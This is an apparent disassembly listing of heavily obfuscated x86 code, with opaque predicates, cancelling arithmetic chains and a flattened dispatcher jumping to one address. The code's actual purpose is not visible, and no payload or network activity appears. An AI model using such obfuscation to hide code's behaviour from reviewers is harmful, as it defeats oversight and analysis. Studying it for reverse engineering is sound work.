mov cl, byte [ebp - 0x3918]
and al, cl
mov cl, byte [ebp - 0x3919]
or cl, al
mov al, dl
xor al, 0
and al, 0
mov byte [ebp - 0x391a], al
mov al, dl
xor al, 0
mov byte [ebp - 0x391b], al
and al, 0
mov byte [ebp - 0x391c], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x391d], al
mov al, byte [ebp - 0x391b]
and al, 1
mov byte [ebp - 0x391e], al
mov al, byte [ebp - 0x391a]
mov byte [ebp - 0x391f], cl
mov cl, byte [ebp - 0x391c]
or al, cl
mov cl, byte [ebp - 0x391d]
mov byte [ebp - 0x3920], al
mov al, byte [ebp - 0x391e]
or cl, al
mov al, byte [ebp - 0x3920]
xor al, cl
mov cl, byte [ebp - 0x3917]
xor cl, 0xff
mov byte [ebp - 0x3921], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3922], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3923], al
mov al, byte [ebp - 0x3922]
or cl, al
mov al, byte [ebp - 0x3923]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x3906]
xor al, 0xff
mov byte [ebp - 0x3924], al
mov al, byte [ebp - 0x3921]
xor al, 0xff
mov byte [ebp - 0x3925], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3926], al
mov al, byte [ebp - 0x3924]
mov byte [ebp - 0x3927], cl
mov cl, byte [ebp - 0x3925]
or al, cl
mov cl, byte [ebp - 0x3926]
or cl, 1
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x3928], al
mov al, byte [ebp - 0x391f]
xor al, cl
mov cl, byte [ebp - 0x391f]
and al, cl
xor bh, 0xff
mov cl, byte [ebp - 0x3921]
xor cl, 0xff
mov byte [ebp - 0x3929], al
mov al, dl
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x3927]
mov cl, byte [ebp - 0x3928]
and al, cl
mov cl, byte [ebp - 0x3927]
mov byte [ebp - 0x392a], al
mov al, byte [ebp - 0x3928]
xor cl, al
mov al, byte [ebp - 0x392a]
or al, cl
mov cl, byte [ebp - 0x3929]
xor cl, 0xff
mov byte [ebp - 0x392b], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x392c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x392d], al
mov al, cl
and al, 0
mov byte [ebp - 0x392e], al
mov al, byte [ebp - 0x3929]
mov byte [ebp - 0x392f], cl
mov cl, byte [ebp - 0x392d]
and al, cl
mov cl, byte [ebp - 0x392c]
and cl, 0
mov byte [ebp - 0x3930], al
mov al, byte [ebp - 0x392d]
and bh, al
mov al, byte [ebp - 0x392e]
mov byte [ebp - 0x3931], cl
mov cl, byte [ebp - 0x3930]
or al, cl
mov cl, byte [ebp - 0x3931]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x392f]
mov bh, byte [ebp - 0x392c]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x392d]
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x392b]
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, byte [ebp - 0x392b]
and cl, al
or bh, cl
mov al, byte [ebp - 0x3917]
mov cl, byte [ebp - 0x391f]
and al, cl
mov cl, byte [ebp - 0x3917]
mov byte [ebp - 0x3932], al
mov al, byte [ebp - 0x391f]
xor cl, al
mov al, byte [ebp - 0x3932]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x3933], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3934], al
mov al, byte [ebp - 0x3933]
mov byte [ebp - 0x3935], cl
mov cl, byte [ebp - 0x3934]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x3936], al
mov al, byte [ebp - 0x3934]
and al, 1
mov byte [ebp - 0x3937], al
mov al, byte [ebp - 0x3935]
mov byte [ebp - 0x3938], cl
mov cl, byte [ebp - 0x3936]
or al, cl
mov cl, byte [ebp - 0x3938]
mov byte [ebp - 0x3939], al
mov al, byte [ebp - 0x3937]
or cl, al
mov al, byte [ebp - 0x3939]
xor al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x393a], al
mov al, byte [ebp - 0x3921]
xor al, 0xff
mov byte [ebp - 0x393b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x393c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x393d], al
mov al, byte [ebp - 0x393c]
and al, 0
mov byte [ebp - 0x393e], al
mov al, byte [ebp - 0x393b]
and al, 0xff
mov byte [ebp - 0x393f], al
mov al, byte [ebp - 0x3921]
mov byte [ebp - 0x3940], cl
mov cl, byte [ebp - 0x393c]
and al, cl
mov cl, byte [ebp - 0x393d]
mov byte [ebp - 0x3941], al
mov al, byte [ebp - 0x393e]
or cl, al
mov al, byte [ebp - 0x393f]
mov byte [ebp - 0x3942], cl
mov cl, byte [ebp - 0x3941]
or al, cl
mov cl, byte [ebp - 0x3942]
xor cl, al
mov al, byte [ebp - 0x3940]
mov byte [ebp - 0x3943], cl
mov cl, byte [ebp - 0x393b]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x393c]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x3943]
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x393a]
xor al, cl
mov cl, byte [ebp - 0x393a]
and al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, dh
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x3944], al
mov al, dl
xor al, 0
and ah, al
mov byte [ebp - 0x3945], al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x3946], al
mov al, byte [ebp - 0x3945]
and dh, al
mov al, byte [ebp - 0x3944]
or al, ah
mov ah, byte [ebp - 0x3946]
or ah, dh
xor al, ah
mov ah, bh
and ah, al
xor bh, al
or ah, bh
mov al, cl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, cl
and bh, dh
or al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3947], al
mov al, bh
and al, 1
mov byte [ebp - 0x3948], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3949], al
mov al, byte [ebp - 0x3948]
or dh, al
mov al, byte [ebp - 0x3949]
or al, bh
xor dh, al
mov al, dh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov byte [ebp - 0x394a], al
mov al, ah
and al, cl
mov byte [ebp - 0x394b], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x394c], al
mov al, byte [ebp - 0x394a]
mov byte [ebp - 0x394d], cl
mov cl, byte [ebp - 0x394b]
or al, cl
mov cl, byte [ebp - 0x394c]
mov byte [ebp - 0x394e], al
mov al, byte [ebp - 0x394d]
or cl, al
mov al, byte [ebp - 0x394e]
xor al, cl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x394f], al
xor al, cl
mov cl, byte [ebp - 0x394f]
and al, cl
xor ah, 0xff
xor dh, 0xff
mov cl, dl
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, byte [ebp - 0x3947]
and cl, bh
mov dh, byte [ebp - 0x3947]
xor dh, bh
or cl, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, cl
xor al, 0xff
mov ah, dh
and ah, al
xor dh, 0xff
and cl, dh
or ah, cl
mov al, byte [ebp - 0x38f0]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x38f0]
and dh, cl
mov bh, dl
xor bh, 1
and bh, 0xff
and cl, 1
or al, dh
or bh, cl
xor al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
mov byte [ebp - 0x3950], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, dl
xor al, 0
and al, 1
mov dh, dl
xor dh, 1
and dh, 0
or al, dh
mov dh, byte [ebp - 0x3950]
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3951], al
mov al, dl
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x3951]
xor al, 0xff
mov bh, byte [ebp - 0x38f0]
xor bh, al
mov al, byte [ebp - 0x38f0]
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x3952], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3953], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3954], al
mov al, byte [ebp - 0x3952]
mov byte [ebp - 0x3955], cl
mov cl, byte [ebp - 0x3953]
or al, cl
mov cl, byte [ebp - 0x3954]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x3951]
xor cl, 0xff
mov byte [ebp - 0x3956], al
mov al, bl
xor al, cl
and al, bl
mov cl, dh
and cl, bh
xor dh, bh
or cl, dh
mov dh, byte [ebp - 0x3956]
and dh, al
mov bl, byte [ebp - 0x3956]
xor bl, al
or dh, bl
mov al, cl
xor al, 0xff
mov bl, dh
and bl, al
xor dh, 0xff
and cl, dh
or bl, cl
mov al, byte [ebp - 0x3950]
mov cl, byte [ebp - 0x3955]
and al, cl
mov dh, byte [ebp - 0x3950]
xor dh, cl
or al, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
and al, bh
or dh, al
mov al, byte [ebp - 0x3951]
and al, 0
mov bh, byte [ebp - 0x3951]
xor bh, 0
or al, bh
xor dh, 0xff
xor al, 0xff
mov bh, dl
xor bh, 0
or dh, al
or bh, 0
xor dh, 0xff
and dh, bh
mov al, bl
and al, dh
xor bl, dh
or al, bl
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
or dh, bh
mov bl, dl
xor bl, 0
xor dh, 0xff
mov bh, dl
xor bh, 0
or bl, dh
or bh, 0
xor bl, 0xff
and bl, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bh, dl
xor bh, 1
mov cl, bh
and cl, 0
mov byte [ebp - 0x3957], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
or dh, cl
or al, bh
xor dh, al
mov al, byte [ebp - 0x3957]
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov bh, dl
xor bh, 1
or al, cl
or bh, 1
xor al, 0xff
and al, bh
mov cl, dl
xor cl, 1
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3958], al
mov al, bh
and al, 1
mov byte [ebp - 0x3959], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x395a], al
mov al, byte [ebp - 0x3959]
or cl, al
mov al, byte [ebp - 0x395a]
or al, bh
xor cl, al
xor cl, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 0
or cl, al
or bh, 0
xor cl, 0xff
and cl, bh
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, bl
xor al, 0xff
mov bh, byte [ebp - 0x3958]
xor bh, 0xff
mov byte [ebp - 0x395b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x395c], al
mov al, byte [ebp - 0x395b]
and al, 0xff
mov byte [ebp - 0x395d], al
mov al, byte [ebp - 0x395c]
and bl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x395e], al
mov al, byte [ebp - 0x3958]
mov byte [ebp - 0x395f], cl
mov cl, byte [ebp - 0x395c]
and al, cl
mov cl, byte [ebp - 0x395d]
or cl, bl
mov bl, byte [ebp - 0x395e]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x395b]
or al, bh
xor al, 0xff
mov bl, byte [ebp - 0x395c]
or bl, 1
and al, bl
or cl, al
mov al, byte [ebp - 0x395f]
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3960], al
and al, 0
mov byte [ebp - 0x3961], al
mov al, byte [ebp - 0x395f]
and al, bh
mov byte [ebp - 0x3962], al
mov al, bl
and al, 0
and dh, bh
mov byte [ebp - 0x3963], al
mov al, byte [ebp - 0x3961]
mov byte [ebp - 0x3964], cl
mov cl, byte [ebp - 0x3962]
or al, cl
mov cl, byte [ebp - 0x3963]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3960]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x3964]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0x3964]
and cl, al
or dh, cl
mov al, ch
xor al, 0xff
xor al, 0
and al, 0
mov cl, dl
xor cl, 0
and cl, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x3965], al
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0x3965]
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x3966], al
mov al, byte [ebp - 0x3965]
and al, bl
mov byte [ebp - 0x3967], al
mov al, ch
and al, 0
and cl, bl
mov byte [ebp - 0x3968], al
mov al, byte [ebp - 0x3967]
or bh, al
mov al, byte [ebp - 0x3968]
or al, cl
xor bh, al
mov al, byte [ebp - 0x3966]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ch, dl
xor ch, 1
and ch, 0xff
and cl, 1
or al, bh
or ch, cl
xor al, ch
mov cl, dh
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, dh
and cl, al
or ch, cl
xor ch, 0xff
xor dh, 0xff
mov al, dl
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov dh, ah
and dh, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or al, dh
or bl, cl
xor al, bl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, ch
and bl, dh
or cl, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x3969], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 1
mov bl, byte [ebp - 0x3969]
xor bl, al
mov al, byte [ebp - 0x3969]
and bl, al
mov bh, dh
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov ah, dl
xor ah, 1
mov bh, cl
xor bh, ah
and bh, cl
mov ah, dh
xor ah, 0xff
mov byte [ebp - 0x396a], al
mov al, ch
xor al, ah
and al, ch
mov ah, bl
mov ch, byte [ebp - 0x396a]
and ah, ch
xor bl, ch
or ah, bl
mov bl, bh
xor bl, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x396b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x396c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x396d], al
mov al, byte [ebp - 0x396c]
and bh, al
mov al, ch
and al, 0xff
mov byte [ebp - 0x396e], al
mov al, byte [ebp - 0x396b]
mov byte [ebp - 0x396f], cl
mov cl, byte [ebp - 0x396c]
and al, cl
mov cl, byte [ebp - 0x396d]
or cl, bh
mov bh, byte [ebp - 0x396e]
or bh, al
xor cl, bh
or bl, ch
xor bl, 0xff
mov al, byte [ebp - 0x396c]
or al, 1
and bl, al
or cl, bl
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and ah, ch
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ch
or al, ah
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x3969]
mov ah, byte [ebp - 0x396f]
and cl, ah
mov ch, byte [ebp - 0x3969]
xor ch, ah
or cl, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
and cl, bl
or ch, cl
mov cl, dl
xor cl, 1
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov ah, cl
and ah, 0xff
mov byte [ebp - 0x3970], al
mov al, bh
and al, 1
mov byte [ebp - 0x3971], al
mov al, bl
and al, 0xff
and dh, bh
mov byte [ebp - 0x3972], al
mov al, byte [ebp - 0x3971]
or ah, al
mov al, byte [ebp - 0x3972]
or al, dh
xor ah, al
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or ah, cl
xor ch, 0xff
xor ah, 0xff
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov al, byte [ebp - 0x3970]
and al, ch
mov cl, byte [ebp - 0x3970]
xor cl, ch
or al, cl
test al, 1
mov esi, dword [ebp - 0x38e4]
mov edi, dword [ebp - 0x38ec]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x5b17dea2
mov ecx, 0xc0ecabb7
mov dl, 1
xor esi, esi
mov edi, 0x6538534c
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x3978], eax
mov eax, dword [0x4ac084]
add edi, 0
sub edi, 0xb46a811e
sub edi, 0x6538534c
mov dword [ebp - 0x397c], eax
mov eax, esi
sub eax, ebx
mov dword [ebp - 0x3980], eax
mov eax, esi
sub eax, edi
mov edi, dword [ebp - 0x3980]
add edi, eax
sub esi, edi
sub esi, 0x2f70ca45
add esi, 0xf44403f8
add esi, 0x2f70ca45
sub esi, 0x7844256f
sub esi, 1
add esi, 0x7844256f
add esi, 0xf7d33c78
sub esi, 0xf44403f8
sub esi, 0xf7d33c78
add esi, 0xe4b57c14
add esi, 0x7e593e57
sub esi, 0xe4b57c14
add esi, 0x8565cd66
add esi, 0xb46a811e
sub esi, 0x8565cd66
add esi, 0xc99146fc
sub esi, 0x7e593e57
sub esi, 0xc99146fc
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x397c]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3981], al
and al, bh
or bl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
and bh, 0
or al, bh
mov bh, ah
and bh, bl
xor ah, bl
or bh, ah
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and bh, bl
or al, bh
xor al, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 1
or al, ah
or bl, 1
xor al, 0xff
and al, bl
mov ah, dh
xor ah, 0xff
and ah, 0
mov bl, dl
xor bl, 0
mov bh, dh
and bh, bl
mov byte [ebp - 0x3982], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x3983], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x3984], al
mov al, byte [ebp - 0x3983]
or al, bh
mov bh, byte [ebp - 0x3984]
or bh, bl
xor al, bh
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, byte [ebp - 0x3981]
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3985], al
mov al, byte [ebp - 0x3981]
and al, bh
or bl, al
mov al, dl
xor al, 0
mov bh, bl
xor bh, al
and bh, bl
mov al, byte [ebp - 0x3981]
xor al, 0xff
mov bl, byte [ebp - 0x3985]
xor bl, 0xff
mov byte [ebp - 0x3986], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3987], al
mov al, byte [ebp - 0x3986]
or al, bl
mov bl, byte [ebp - 0x3987]
or bl, 0
xor al, 0xff
and al, bl
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x3988], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x3989], al
mov al, dl
xor al, 1
mov byte [ebp - 0x398a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x398b], al
mov al, byte [ebp - 0x398a]
and ah, al
mov al, byte [ebp - 0x3989]
and al, 0xff
mov byte [ebp - 0x398c], al
mov al, byte [ebp - 0x398a]
and dh, al
mov al, byte [ebp - 0x398b]
or al, ah
mov ah, byte [ebp - 0x398c]
or ah, dh
xor al, ah
mov ah, byte [ebp - 0x3989]
or bl, ah
xor bl, 0xff
mov dh, byte [ebp - 0x398a]
or dh, 1
and bl, dh
or al, bl
mov dh, bh
xor dh, 0xff
mov bl, byte [ebp - 0x3988]
xor bl, 0xff
mov ah, dl
xor ah, 1
mov byte [ebp - 0x398d], al
mov al, dh
and al, 0xff
and bh, ah
mov byte [ebp - 0x398e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x398f], al
mov al, byte [ebp - 0x3988]
and al, ah
mov byte [ebp - 0x3990], al
mov al, byte [ebp - 0x398e]
or al, bh
mov bh, byte [ebp - 0x398f]
mov byte [ebp - 0x3991], al
mov al, byte [ebp - 0x3990]
or bh, al
mov al, byte [ebp - 0x3991]
xor al, bh
or dh, bl
xor dh, 0xff
or ah, 1
and dh, ah
or al, dh
mov ah, byte [ebp - 0x398d]
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x398d]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0
and al, dh
or ah, bl
or bh, al
xor ah, bh
mov al, byte [ebp - 0x3982]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
or al, dh
or bl, 1
xor al, 0xff
and al, bl
mov dh, byte [ebp - 0x3982]
xor dh, 0xff
mov bl, ah
and bl, dh
xor ah, 0xff
mov dh, byte [ebp - 0x3982]
and dh, ah
or bl, dh
mov ah, al
xor ah, 0xff
mov dh, bl
xor dh, 0xff
xor dl, 1
mov bh, ah
and bh, 0xff
and al, dl
mov byte [ebp - 0x3992], al
mov al, dh
and al, 0xff
and bl, dl
mov byte [ebp - 0x3993], al
mov al, byte [ebp - 0x3992]
or bh, al
mov al, byte [ebp - 0x3993]
or al, bl
xor bh, al
or ah, dh
xor ah, 0xff
or dl, 1
and ah, dl
or bh, ah
test bh, 1
mov esi, dword [ebp - 0x3978]
cmovne esi, ecx
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x5b17dea2
mov ecx, 0x18865965
mov dl, 1
xor esi, esi
mov edi, 0xffb72c9e
mov ebx, dword [ebp - 0xa0]
mov dword [ebx], 0
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x3998], eax
mov eax, dword [0x4ac084]
add edi, 0
add edi, 0x5d38c657
sub edi, 0xffb72c9e
add edi, 0xde380c5c
sub edi, 1
sub edi, 0xde380c5c
sub edi, 0xbe5ab3a4
sub edi, 0x5d38c657
add edi, 0xbe5ab3a4
mov dword [ebp - 0x399c], eax
mov eax, ebx
add eax, 0xb5cdfdf1
add eax, 0x928b4278
sub eax, 0xb5cdfdf1
mov dword [ebp - 0x39a0], eax
mov eax, esi
mov dword [ebp - 0x39a4], ecx
mov ecx, dword [ebp - 0x39a0]
sub eax, ecx
mov ecx, esi
sub ecx, edi
add eax, ecx
mov ecx, esi
sub ecx, eax
sub esi, 0x928b4278
add ecx, esi
imul ebx, ecx
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x399c]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dl
xor cl, 0
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, ah
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x39a5], al
mov al, bh
and al, 1
mov byte [ebp - 0x39a6], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x39a7], al
mov al, byte [ebp - 0x39a6]
or ch, al
mov al, byte [ebp - 0x39a7]
or al, bh
xor ch, al
mov al, dl
xor al, 0
mov bh, ch
xor bh, al
and bh, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov byte [ebp - 0x39a8], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39a9], al
mov al, byte [ebp - 0x39a8]
and al, 0
mov byte [ebp - 0x39aa], al
mov al, byte [ebp - 0x39a9]
and cl, al
mov al, ch
and al, 0
mov byte [ebp - 0x39ab], al
mov al, byte [ebp - 0x39a9]
and bl, al
mov al, byte [ebp - 0x39aa]
or al, cl
mov cl, byte [ebp - 0x39ab]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x39a8]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x39a9]
or ch, 0
and cl, ch
or al, cl
mov cl, bh
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x39ac], al
mov al, cl
and al, 0xff
and bh, bl
mov byte [ebp - 0x39ad], al
mov al, ch
and al, 0xff
and ah, bl
mov byte [ebp - 0x39ae], al
mov al, byte [ebp - 0x39ad]
or al, bh
mov bh, byte [ebp - 0x39ae]
or bh, ah
xor al, bh
or cl, ch
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov cl, byte [ebp - 0x39ac]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x39ac]
and cl, al
or ah, cl
mov al, byte [ebp - 0x39a5]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x39a5]
and ch, cl
or al, ch
mov cl, dl
xor cl, 0
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
and ch, 0
or al, ch
mov ch, byte [ebp - 0x39a5]
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x39af], al
mov al, bh
and al, 1
mov byte [ebp - 0x39b0], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x39b1], al
mov al, byte [ebp - 0x39b0]
or bl, al
mov al, byte [ebp - 0x39b1]
or al, bh
xor bl, al
xor bl, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 1
or bl, al
or bh, 1
xor bl, 0xff
and bl, bh
mov al, byte [ebp - 0x39af]
xor al, 0xff
xor al, 1
and al, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x39b2], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x39b3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39b4], al
mov al, bh
and al, 0
mov byte [ebp - 0x39b5], al
mov al, byte [ebp - 0x39b4]
and cl, al
mov al, byte [ebp - 0x39b3]
and al, 0
mov byte [ebp - 0x39b6], al
mov al, byte [ebp - 0x39b4]
and ch, al
mov al, byte [ebp - 0x39b5]
or al, cl
mov cl, byte [ebp - 0x39b6]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x39b3]
or bh, cl
xor bh, 0xff
mov ch, byte [ebp - 0x39b4]
or ch, 0
and bh, ch
or al, bh
mov ch, bl
mov bh, byte [ebp - 0x39b2]
and ch, bh
xor bl, bh
or ch, bl
mov bl, al
xor bl, 0xff
and bl, 0
mov cl, dl
xor cl, 0
and al, cl
mov bh, ch
xor bh, 0xff
and bh, 0
and ch, cl
or bl, al
or bh, ch
xor bl, bh
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
and cl, 0
or al, cl
mov cl, dl
xor cl, 1
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
mov bh, ch
and bh, 1
mov byte [ebp - 0x39b7], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x39b8], al
mov al, byte [ebp - 0x39b7]
or al, bh
mov bh, byte [ebp - 0x39b8]
or bh, ch
xor al, bh
xor al, 0xff
xor al, 0
and al, 0
mov ch, cl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x39b9], al
mov al, dl
xor al, 1
mov byte [ebp - 0x39ba], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x39bb], al
mov al, byte [ebp - 0x39ba]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x39bc], al
mov al, byte [ebp - 0x39b9]
mov byte [ebp - 0x39bd], cl
mov cl, byte [ebp - 0x39ba]
